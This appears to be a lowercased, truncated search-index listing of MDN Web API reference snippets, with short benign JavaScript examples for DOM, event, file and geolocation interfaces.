<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>getelementsbytagnamens example</title> <script type="text/javascript"> function getallparaelems() { var allparas = document.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = allparas.length; alert("there are " + num + " &lt;p&gt; elements in this document"); } function div1paraelems() { var div1 = document.getelementbyid("div1") var div1paras = div1.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = div1pa...
Document.hasFocus() - Web APIs
WebAPIDocumenthasFocus
html <p id="log">awaiting focus check.</p> <button onclick="openwindow()">open a new window</button> javascript function checkpagefocus() { let body = document.queryselector('body'); let log = document.getelementbyid('log'); if (document.hasfocus()) { log.textcontent = 'this document has the focus.'; body.style.background = '#fff'; } else { log.textcontent = 'this document does not have the focus.'; body.style.background = '#ccc'; } } function openwindow() { window.open('ht...
Document.images - Web APIs
WebAPIDocumentimages
usage notes you can use either javascript array notation or the item() method on the returned collection to access the items in the collection.
Document.lastModified - Web APIs
here is a possible example of how to show an alert message when the page changes (see also: javascript cookies api): if (date.parse(document.lastmodified) > parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) { document.cookie = "last_modif=" + date.now() + "; expires=fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; alert("this page has changed!"); } …the same example, but skipping the first visit: var nlastvisit = parsefloat(...
Document.ononline - Web APIs
WebAPIDocumentononline
you can register listeners for these events in a few familiar ways: using addeventlistener on the window, document, or document.body by setting the .ononline or .onoffline properties on document or document.body to a javascript function object.
Document.open() - Web APIs
WebAPIDocumentopen
for years firefox and internet explorer additionally erased all javascript variables, etc., in addition to removing all nodes.
Document.queryCommandState() - Web APIs
example html <div contenteditable="true">select a part of this text!</div> <button onclick="makebold();">test the state of the 'bold' command</button> javascript function makebold() { var state = document.querycommandstate("bold"); switch (state) { case true: alert("the bold formatting will be removed from the selected text."); break; case false: alert("the selected text will be displayed in bold."); break; case null: alert("the state of the 'bold' command is indeterminable."); break; } document.exe...
Document - Web APIs
WebAPIDocument
this property only has special meaning in privileged javascript code (with universalxpconnect privileges).
DocumentFragment - Web APIs
example html <ul id="list"></ul> javascript var list = document.queryselector('#list') var fruits = ['apple', 'orange', 'banana', 'melon'] var fragment = new documentfragment() fruits.foreach(function (fruit) { var li = document.createelement('li') li.innerhtml = fruit fragment.appendchild(li) }) list.appendchild(fragment) result specifications specification status comment domthe definition of 'd...
DocumentOrShadowRoot.activeElement - Web APIs
morbi sed euismod diam.</textarea> </form> <p>active element id: <b id="output-element"></b></p> <p>selected text: <b id="output-text"></b></p> javascript function onmouseup(e) { const activetextarea = document.activeelement; const selection = activetextarea.value.substring( activetextarea.selectionstart, activetextarea.selectionend ); const outputelement = document.getelementbyid('output-element'); const outputtext = document.getelementbyid('output-text'); outputelement.innerhtml = activetextarea.id; outputtext.innerhtml = sele...
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> javascript content function insertbreakatpoint(e) { var range; var textnode; var offset; if (document.caretpositionfrompoint) { range = document.caretpositionfrompoint(e.clientx, e.clienty); textnode = range.offsetnode; offset = range.offset; } else if (document.caretrangefrompoint) { range = document.caretrangefrompoint(e.clientx, e.clienty); textnode = range.startcontainer;...
DocumentOrShadowRoot.elementFromPoint() - Web APIs
javascript function changecolor(newcolor) { elem = document.elementfrompoint(2, 2); elem.style.color = newcolor; } the changecolor() method simply obtains the element located at the specified point, then sets that element's current foreground color property to the color specified by the newcolor parameter.
DocumentOrShadowRoot.elementsFromPoint() - Web APIs
example html <div> <p>some text</p> </div> <p>elements at point 30, 20:</p> <div id="output"></div> javascript let output = document.getelementbyid("output"); if (document.elementsfrompoint) { let elements = document.elementsfrompoint(30, 20); for (var i = 0; i < elements.length; i++) { output.textcontent += elements[i].localname; if (i < elements.length - 1) { output.textcontent += " < "; } } } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not su...
DocumentOrShadowRoot.nodeFromPoint() - Web APIs
examples html content <div> <p>some text</p> </div> <p>top node at point 30, 20:</p> <div id="output"></div> javascript content var output = document.getelementbyid("output"); if (document.nodefrompoint) { var node = document.nodefrompoint(30, 20); output.textcontent += node.localname; } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not support <code>document.nodefrompoint()</code>" + "</span>"; } specifications not part of any specification at present.
DocumentOrShadowRoot.nodesFromPoint() - Web APIs
example html content <div> <p>some text</p> </div> <p>nodes at point 30, 20:</p> <div id="output"></div> javascript content var output = document.getelementbyid("output"); if (document.nodesfrompoint) { var nodes = document.nodesfrompoint(30, 20); for(var i = 0; i < nodes.length; i++) { output.textcontent += nodes[i].localname; if (i < nodes.length - 1) { output.textcontent += " < "; } } } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not support <code...
Locating DOM elements using selectors - Web APIs
this is much faster than past techniques, wherein it was necessary to, for example, use a loop in javascript code to locate the specific items you needed to find.
Example - Web APIs
<html> <head> <title>my document</title> <script type="text/javascript"> function change() { // document.getelementsbytagname("h1") returns a nodelist of the h1 // elements in the document, and the first is number 0: var header = document.getelementsbytagname("h1").item(0); // the firstchild of the header is a text node: header.firstchild.data = "a dynamic document"; // now the header is "a dynamic document".
Document Object Model (DOM) - Web APIs
usually, that means javascript, although modeling html, svg, or xml documents as objects are not part of the core javascript language, as such.
EffectTiming.fill - Web APIs
WebAPIEffectTimingfill
javascript content now let's check out the javascript.
Element.attachShadow() - Web APIs
this can be one of: open: elements of the shadow root are accessible from javascript outside the root, for example using element.shadowroot: element.shadowroot; // returns a shadowroot obj closed: denies access to the node(s) of a closed shadow root from javascript outside it: element.shadowroot; // returns null delegatesfocus a boolean that, when set to true, specifies behavior that mitigates custom element issues around focusability.
Element.attributes - Web APIs
<!doctype html> <html> <head> <title>attributes example</title> <script type="text/javascript"> function listattributes() { var paragraph = document.getelementbyid("paragraph"); var result = document.getelementbyid("result"); // first, let's verify that the paragraph has some attributes if (paragraph.hasattributes()) { var attrs = paragraph.attributes; var output = ""; for(var i = attrs.length - 1; i >= 0; i--) { output += attrs[i].nam...
Element: auxclick event - Web APIs
javascript let button = document.queryselector('button'); let html = document.queryselector('html'); function random(number) { return math.floor(math.random() * number); } function randomcolor() { return `rgb(${random(255)}, ${random(255)}, ${random(255)})`; } button.onclick = function() { button.style.backgroundcolor = randomcolor(); }; button.onauxclick = function(e) { e.preventdefault(); ...
Element: click event - Web APIs
html <button>click</button> javascript const button = document.queryselector('button'); button.addeventlistener('click', event => { button.innerhtml = `click count: ${event.detail}`; }); result try making rapid, repeated clicks on the button to increase the click count.
Element.closest() - Web APIs
WebAPIElementclosest
example html <article> <div id="div-01">here is div-01 <div id="div-02">here is div-02 <div id="div-03">here is div-03</div> </div> </div> </article> javascript var el = document.getelementbyid('div-03'); var r1 = el.closest("#div-02"); // returns the element with the id=div-02 var r2 = el.closest("div div"); // returns the closest ancestor which is a div in div, here it is the div-03 itself var r3 = el.closest("article > div"); // returns the closest ancestor which is a div and has a parent article, here it is the div-01 var r4 = el.closest(":not(d...
Element.computedStyleMap() - Web APIs
<p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a little bit of css a { --colour: red; color: var(--colour); } we add javascript to grab our link and return back a definition list of all the css property values using computedstylemap().
Element: contextmenu event - Web APIs
html <p id="nocontextmenu">the context menu has been disabled on this paragraph.</p> <p>but it has not been disabled on this one.</p> javascript nocontext = document.getelementbyid('nocontextmenu'); nocontext.addeventlistener('contextmenu', e => { e.preventdefault(); }); result specifications specification status comment html living standardthe definition of 'contextmenu' in that specification.
Element: dblclick event - Web APIs
javascript const card = document.queryselector('aside'); card.addeventlistener('dblclick', function (e) { card.classlist.toggle('large'); }); html <aside> <h3>my card</h3> <p>double click to resize this object.</p> </aside> css aside { background: #fe9; border-radius: 1em; display: inline-block; padding: 1em; transform: scale(.9); transform-origin: 0 0; transition: transform .6s; }...
Element: focusin event - Web APIs
bubbles yes cancelable no interface focusevent event handler property onfocusin sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.background = ''; }); result specifications specification status comment ui events working draft added info that this event is composed.
Element: focusout event - Web APIs
bubbles yes cancelable no interface focusevent event handler property onfocusout sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.background = ''; }); result specifications specification status comment ui events working draft added info that this event is composed.
Element: fullscreenchange event - Web APIs
html <h1>fullscreenchange event example</h1> <div id="fullscreen-div"> <button id="toggle-fullscreen">toggle fullscreen mode</button> </div> javascript document.getelementbyid('fullscreen-div').addeventlistener('fullscreenchange', (event) => { // document.fullscreenelement will point to the element that // is in fullscreen mode if there is one.
Element.localName - Web APIs
WebAPIElementlocalName
example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circle.namespaceuri + "'"; } ]]></script> </head> <body onload="test()"> <svg:svg version="1.1" width="100px" height...
Element.matches() - Web APIs
WebAPIElementmatches
example <ul id="birds"> <li>orange-winged parrot</li> <li class="endangered">philippine eagle</li> <li>great white pelican</li> </ul> <script type="text/javascript"> var birds = document.getelementsbytagname('li'); for (var i = 0; i < birds.length; i++) { if (birds[i].matches('.endangered')) { console.log('the ' + birds[i].textcontent + ' is endangered!'); } } </script> this will log "the philippine eagle is endangered!" to the console, since the element has indeed a class attribute with value endangered.
Element: mousedown event - Web APIs
html <h1>drawing with mouse events</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, moving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const context = mypics.getcontext('2d'); // event.offsetx, event.offsety gives the (x,y) offset from the edge of the canvas.
Element: mouseenter event - Web APIs
#mousetarget { box-sizing: border-box; width:15rem; border:1px solid #333; } javascript var entereventcount = 0; var leaveeventcount = 0; const mousetarget = document.getelementbyid('mousetarget'); const unorderedlist = document.getelementbyid('unorderedlist'); mousetarget.addeventlistener('mouseenter', e => { mousetarget.style.border = '5px dotted orange'; entereventcount++; addlistitem('this is mouseenter event ' + entereventcount + '.'); }); mousetarget.addeventlistener(...
Element: mouseleave event - Web APIs
#mousetarget { box-sizing: border-box; width:15rem; border:1px solid #333; } javascript var entereventcount = 0; var leaveeventcount = 0; const mousetarget = document.getelementbyid('mousetarget'); const unorderedlist = document.getelementbyid('unorderedlist'); mousetarget.addeventlistener('mouseenter', e => { mousetarget.style.border = '5px dotted orange'; entereventcount++; addlistitem('this is mouseenter event ' + entereventcount + '.'); }); mousetarget.addeventlistener(...
Element: mousemove event - Web APIs
html <h1>drawing with mouse events</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, moving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const context = mypics.getcontext('2d'); // event.offsetx, event.offsety gives the (x,y) offset from the edge of the canvas.
Element: mouseout event - Web APIs
html <ul id="test"> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> javascript let test = document.getelementbyid("test"); // briefly make the list purple when the mouse moves off the // <ul> element test.addeventlistener("mouseleave", function( event ) { // highlight the mouseleave target event.target.style.color = "purple"; // reset the color after a short delay settimeout(function() { event.target.style.color = ""; }, 1000); }, false); // briefly make a...
Element: mouseover event - Web APIs
html <ul id="test"> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> javascript let test = document.getelementbyid("test"); // this handler will be executed only once when the cursor // moves over the unordered list test.addeventlistener("mouseenter", function( event ) { // highlight the mouseenter target event.target.style.color = "purple"; // reset the color after a short delay settimeout(function() { event.target.style.color = ""; }, 500); }, false); // ...
Element: mouseup event - Web APIs
html <h1>drawing with mouse events</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, moving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const context = mypics.getcontext('2d'); // event.offsetx, event.offsety gives the (x,y) offset from the edge of the canvas.
Element.name - Web APIs
WebAPIElementname
syntax htmlelement.name = string let elname = htmlelement.name let fcontrol = htmlformelement.elementname let controlcollection = htmlformelement.elements.elementname example <form action="" name="forma"> <input type="text" value="foo"> </form> <script type="text/javascript"> // get a reference to the first element in the form let formelement = document.forms['forma'].elements[0] // give it a name formelement.name = 'inputa' // show the value of the input alert(document.forms['forma'].elements['inputa'].value) </script> notes in internet explorer (ie), the name property of dom objects created using document.createelement() can't be set or modified...
Element.outerHTML - Web APIs
WebAPIElementouterHTML
examples getting the value of an element's outerhtml property: html <div id="d"> <p>content</p> <p>further elaborated</p> </div> javascript var d = document.getelementbyid("d"); console.log(d.outerhtml); // the string '<div id="d"><p>content</p><p>further elaborated</p></div>' // is written to the console window replacing a node by setting the outerhtml property: html <div id="container"> <div id="d">this is a div.</div> </div> javascript var container = document.getelementbyid("container"); var d = document.getelementbyid(...
Element.querySelector() - Web APIs
html <div> <h5>original content</h5> <p> inside paragraph <span>inside span</span> inside paragraph </p> </div> <div> <h5>output</h5> <div id="output"></div> </div> javascript var baseelement = document.queryselector("p"); document.getelementbyid("output").innerhtml = (baseelement.queryselector("div span").innerhtml); result the result looks like this: notice how the "div span" selector still successfully matches the <span> element, even though the baseelement's child nodes do not include the div element (it is still part of the specified selector).
Element.releasePointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-items: center; justify-content: center; background: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginsliding; slider.onpointerup...
Element.scrollHeight - Web APIs
id="agree" name="accept" /> <label for="agree">i agree</label> <input type="submit" id="nextstep" value="next" /> </p> </form> css #notice { display: inline-block; margin-bottom: 12px; border-radius: 5px; width: 600px; padding: 5px; border: 2px #7fdf55 solid; } #rules { width: 600px; height: 130px; padding: 5px; border: #2a9f00 solid 2px; border-radius: 5px; } javascript function checkreading () { if (checkreading.read) { return; } checkreading.read = this.scrollheight - this.scrolltop === this.clientheight; document.registration.accept.disabled = document.getelementbyid("nextstep").disabled = !checkreading.read; checkreading.noticebox.innerhtml = checkreading.read ?
Element.scrollLeft - Web APIs
example html <div id="container"> <div id="content">click the button to slide right!</div> </div> <button id="slide" type="button">slide right</button> css #container { width: 100px; height: 100px; border: 1px solid #ccc; overflow-x: scroll; } #content { width: 250px; background-color: #ccc; } javascript const button = document.getelementbyid('slide'); button.onclick = function () { document.getelementbyid('container').scrollleft += 20; }; result specifications specification status comment css object model (cssom) view modulethe definition of 'scrollleft' in that specification.
Element.setAttribute() - Web APIs
html <button>hello world</button> javascript var b = document.queryselector("button"); b.setattribute("name", "hellobutton"); b.setattribute("disabled", ""); this demonstrates two things: the first call to setattribute() above shows changing the name attribute's value to "hellobutton".
Element.setAttributeNode() - Web APIs
html <div id="one" align="left">one</div> <div id="two">two</div> javascript let d1 = document.getelementbyid('one'); let d2 = document.getelementbyid('two'); let a = d1.getattributenode('align'); d2.setattributenode(a.clonenode(true)); // returns: 'left' alert(d2.attributes[1].value); notes if the attribute named already exists on the element, that attribute is replaced with the new one and the replaced one is returned.
Element.setCapture() - Web APIs
<html> <head> <title>mouse capture example</title> <style type="text/css"> #mybutton { border: solid black 1px; color: black; padding: 2px; box-shadow: black 2px 2px; } </style> <script type="text/javascript"> function init() { var btn = document.getelementbyid("mybutton"); if (btn.setcapture) { btn.addeventlistener("mousedown", mousedown, false); btn.addeventlistener("mouseup", mouseup, false); } else { document.getelementbyid("output").innerhtml = "sorry, there appears to be no setcapture support on this browser"; } } function m...
Element.setPointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-items: center; justify-content: center; background: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginsliding; slider.onpointerup...
Element.slot - Web APIs
WebAPIElementslot
here is one such example: <my-paragraph> <span slot="my-text">let's have some different text!</span> </my-paragraph> in our javascript file we get a reference to the <span> shown above, then log a reference to the name of the corresponding <slot> element.
Element.tagName - Web APIs
WebAPIElementtagName
example html <span id="born">when i was born...</span> javascript var span = document.getelementbyid("born"); console.log(span.tagname); in xhtml (or any other xml format), the original case will be maintained, so "span" would be output in case the original tag name was created lowercase.
Element.toggleAttribute() - Web APIs
html <input value="text"> <button>toggleattribute("readonly")</button> javascript var button = document.queryselector("button"); var input = document.queryselector("input"); button.addeventlistener("click", function(){ input.toggleattribute("readonly"); }); result dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used)...
ErrorEvent - Web APIs
errorevent.error read only is a javascript object that is concerned by the event.
Event.cancelable - Web APIs
WebAPIEventcancelable
custom events created by other javascript code control if they can be canceled when they are created.
Event.eventPhase - Web APIs
WebAPIEventeventPhase
<input type="checkbox" id="chcapture" /> <label for="chcapture">use capturing</label> <div id="d1">d1 <div id="d2">d2 <div id="d3">d3 <div id="d4">d4</div> </div> </div> </div> <div id="divinfo"></div> css div { margin: 20px; padding: 4px; border: thin black solid; } #divinfo { margin: 18px; padding: 8px; background-color:white; font-size:80%; } javascript let clear = false, divinfo = null, divs = null, usecapture = false; window.onload = function () { divinfo = document.getelementbyid('divinfo') divs = document.getelementsbytagname('div') chcapture = document.getelementbyid('chcapture') chcapture.onclick = function () { removelisteners() addlisteners() } clear() addlisteners() } function removelisteners() { f...
Event.timeStamp - Web APIs
WebAPIEventtimeStamp
</p> <p>timestamp: <span id="time">-</span></p> javascript function gettime(event) { var time = document.getelementbyid("time"); time.firstchild.nodevalue = event.timestamp; } document.body.addeventlistener("keypress", gettime); result reduced time precision to offer protection against timing attacks and fingerprinting, the precision of event.timestamp might get rounded depending on browser settings.
Event.type - Web APIs
WebAPIEventtype
html <p>press any key or click the mouse to get the event type.</p> <p id="log"></p> javascript function geteventtype(event) { const log = document.getelementbyid('log'); log.innertext = event.type + '\n' + log.innertext; } // keyboard events document.addeventlistener('keydown', geteventtype, false); // first document.addeventlistener('keypress', geteventtype, false); // second document.addeventlistener('keyup', geteventtype, false); // third // mouse events document.addeventlist...
EventListener - Web APIs
example html <button id="btn">click here!</button> javascript const buttonelement = document.getelementbyid('btn'); // add a handler for the 'click' event by providing a callback function.
Fetch basic concepts - Web APIs
because the main components of http are abstracted as javascript objects, it is easy for other apis to make use of such functionality.
File.webkitRelativePath - Web APIs
html content <input type="file" id="filepicker" name="filelist" webkitdirectory multiple /> <ul id="listing"></ul> javascript content document.getelementbyid("filepicker").addeventlistener("change", function(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications spec...
File - Web APIs
WebAPIFile
the file interface provides information about files and allows javascript in a web page to access their content.
FileReader.result - Web APIs
WebAPIFileReaderresult
method description readasarraybuffer() the result is a javascript arraybuffer containing binary data.
FileReader - Web APIs
to read files by pathname in javascript, standard ajax solutions should be used to do server-side file reading, with cors permission if reading cross-domain.
FileRequest.onprogress - Web APIs
syntax instanceoffilerequest.onprogress = function; where instanceoffilerequest is a filerequest object and function is the javascript function to execute.
FileSystemDirectoryEntry.getDirectory() - Web APIs
when that is loaded successfully (as indicated by the loadend event being fired), the loaded text is passed into json.parse() to be reconstituted into a javascript object.
FileSystemDirectoryEntry.getFile() - Web APIs
when that is loaded successfully (as indicated by the loadend event being fired), the loaded text is passed into json.parse() to be reconstituted into a javascript object.
FileSystemDirectoryReader.readEntries() - Web APIs
#dropzone { text-align: center; width: 300px; height: 100px; margin: 10px; padding: 10px; border: 4px dashed red; border-radius: 10px; } #boxtitle { display: table-cell; vertical-align: middle; text-align: center; color: black; font: bold 2em "arial", sans-serif; width: 300px; height: 100px; } body { font: 14px "arial", sans-serif; } javascript content first, let's look at the recursive scanfiles() function.
Fullscreen API - Web APIs
they must be added by javascript code.
Using the Gamepad API - Web APIs
technologies like <canvas>, webgl, <audio>, and <video>, along with javascript implementations, have matured to the point where they can now support many tasks previously requiring native code.
GeolocationCoordinates.longitude - Web APIs
javascript the javascript code below creates an event listener so that when the user clicks on a button, the location information is retrieved and displayed.
Using the Geolocation API - Web APIs
body { padding: 20px; background-color:#ffffc9 } button { margin: .5rem 0; } html <button id = "find-me">show my location</button><br/> <p id = "status"></p> <a id = "map-link" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.href = ''; maplink.textcontent = ''; function success(position) { const latitude = position.coords.latitude; const longitude = position.coords.longitude; status.textcontent = ''; maplink.href = `https://www.openstreetmap.org/#map=18/...
Geolocation API - Web APIs
body { padding: 20px; background-color:#ffffc9 } button { margin: .5rem 0; } html <button id = "find-me">show my location</button><br/> <p id = "status"></p> <a id = "map-link" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.href = ''; maplink.textcontent = ''; function success(position) { const latitude = position.coords.latitude; const longitude = position.coords.longitude; status.textcontent = ''; maplink.href = `https://www.openstreetmap.org/#map=18/...
GlobalEventHandlers.onloadstart - Web APIs
syntax element.onloadstart = handlerfunction; var handlerfunction = element.onloadstart; handlerfunction should be either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onanimationcancel - Web APIs
javascript before we get to the animation code, we define a function which logs information to a box on the user's screen.
GlobalEventHandlers.onanimationiteration - Web APIs
@keyframes slidebox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } javascript some javascript code will need to be written to handle the click on the button to start the next iteration.
GlobalEventHandlers.onblur - Web APIs
html <input type="text" value="click here"> javascript let input = document.queryselector('input'); input.onblur = inputblur; input.onfocus = inputfocus; function inputblur() { input.value = 'focus has been lost'; } function inputfocus() { input.value = 'focus is here'; } result try clicking in and out of the form field, and watch its contents change accordingly.
GlobalEventHandlers.oncanplay - Web APIs
syntax element.oncanplay = handlerfunction; var handlerfunction = element.oncanplay; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.oncanplaythrough - Web APIs
syntax element.oncanplaythrough = handlerfunction; var handlerfunction = element.oncanplaythrough; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onchange - Web APIs
html <input type="text" placeholder="type something here, then click outside of the field." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.onchange = handlechange; function handlechange(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specification specification status comment html living standardthe definition of 'onchange' in that specification.
GlobalEventHandlers.oncuechange - Web APIs
syntax element.oncuechange = handlerfunction; var handlerfunction = element.oncuechange; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.ondblclick - Web APIs
html <p>double click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.ondblclick = logdoubleclick; function logdoubleclick(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specifications specification status comment html living standardthe definition of 'ondblclick' in that specification.
GlobalEventHandlers.ondurationchange - Web APIs
syntax element.ondurationchange = handlerfunction; var handlerfunction = element.ondurationchange; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onemptied - Web APIs
syntax element.onemptied = handlerfunction; var handlerfunction = element.onemptied; handlerfunction should be either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onended - Web APIs
syntax element.onended = handlerfunction; var handlerfunction = element.onended; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onfocus - Web APIs
html <input type="text" value="click here"> javascript let input = document.queryselector('input'); input.onblur = inputblur; input.onfocus = inputfocus; function inputblur() { input.value = 'focus has been lost'; } function inputfocus() { input.value = 'focus is here'; } result try clicking in and out of the form field, and watch its contents change accordingly.
GlobalEventHandlers.oninput - Web APIs
html <input type="text" placeholder="type something here to see its length." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.oninput = handleinput; function handleinput(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specifications specification status comment html living standardthe definition of 'oninput' in that specification.
GlobalEventHandlers.oninvalid - Web APIs
thanks!</p> javascript const form = document.getelementbyid('form'); const error = document.getelementbyid('error'); const city = document.getelementbyid('city'); const thanks = document.getelementbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden...
GlobalEventHandlers.onkeydown - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeydown = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result specifications specification status comment html living standardthe definition of 'onkeydown' in that specification.
GlobalEventHandlers.onkeyup - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeyup = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result specifications specification status comment html living standardthe definition of 'onkeyup' in that specification.
GlobalEventHandlers.onloadeddata - Web APIs
syntax element.onloadeddata = handlerfunction; var handlerfunction = element.onloadeddata; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onloadedmetadata - Web APIs
syntax element.onloadedmetadata = handlerfunction; var handlerfunction = element.onloadedmetadata; handlerfunction should be either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onloadend - Web APIs
examples html content <img src="myimage.jpg"> javascript content // 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); ...
GlobalEventHandlers.onloadstart - Web APIs
examples html content <img src="myimage.jpg"> javascript content // 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); specifications specification status comment html livi...
GlobalEventHandlers.onmousedown - Web APIs
html <div class="container"> <div class="view" hidden></div> <img src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> css .container { width: 320px; height: 213px; background: black; } .view { position: absolute; width: 100px; height: 100px; background: white; border-radius: 50%; } img { mix-blend-mode: darken; } javascript function showview(event) { view.removeattribute('hidden'); view.style.left = event.clientx - 50 + 'px'; view.style.top = event.clienty - 50 + 'px'; event.preventdefault(); } function moveview(event) { view.style.left = event.clientx - 50 + 'px'; view.style.top = event.clienty - 50 + 'px'; } function hideview(event) { view.setattribute('hidden', ''); } const container = document.
GlobalEventHandlers.onmouseenter - Web APIs
syntax element.onmouseenter = handlerfunction; var handlerfunction = element.onmouseenter; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onmouseleave - Web APIs
syntax element.onmouseleave = handlerfunction; var handlerfunction = element.onmouseleave; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onmousemove - Web APIs
html <p><a href="#" data-tooltip="first link">see a tooltip here &hellip;</a></p> <p><a href="#" data-tooltip="second link">&hellip; or here!</a></p> css .tooltip { position: absolute; z-index: 9999; padding: 6px; background: #ffd; border: 1px #886 solid; border-radius: 5px; } javascript const tooltip = new (function() { const node = document.createelement('div'); node.classname = 'tooltip'; node.setattribute('hidden', ''); document.body.appendchild(node); this.follow = function(event) { node.style.left = event.clientx + 20 + 'px'; node.style.top = event.clienty + 10 + 'px'; }; this.show = function(event) { node.textcontent = event.target.dataset.tool...
GlobalEventHandlers.onmouseout - Web APIs
html <p>test your mouse on me!</p> javascript const p = document.queryselector('p'); p.onmouseover = logmouseover; p.onmouseout = logmouseout; function logmouseover() { p.innerhtml = 'mouse over detected'; } function logmouseout() { p.innerhtml = 'mouse out detected'; } result specification specification status comment html living standardthe definition of 'onmouseout' in that specification.
GlobalEventHandlers.onmouseover - Web APIs
html <p>test your mouse on me!</p> javascript const p = document.queryselector('p'); p.onmouseover = logmouseover; p.onmouseout = logmouseout; function logmouseover() { p.innerhtml = 'mouse over detected'; } function logmouseout() { p.innerhtml = 'mouse out detected'; } result specifications specification status comment html living standardthe definition of 'onmouseover' in that specification.
GlobalEventHandlers.onmouseup - Web APIs
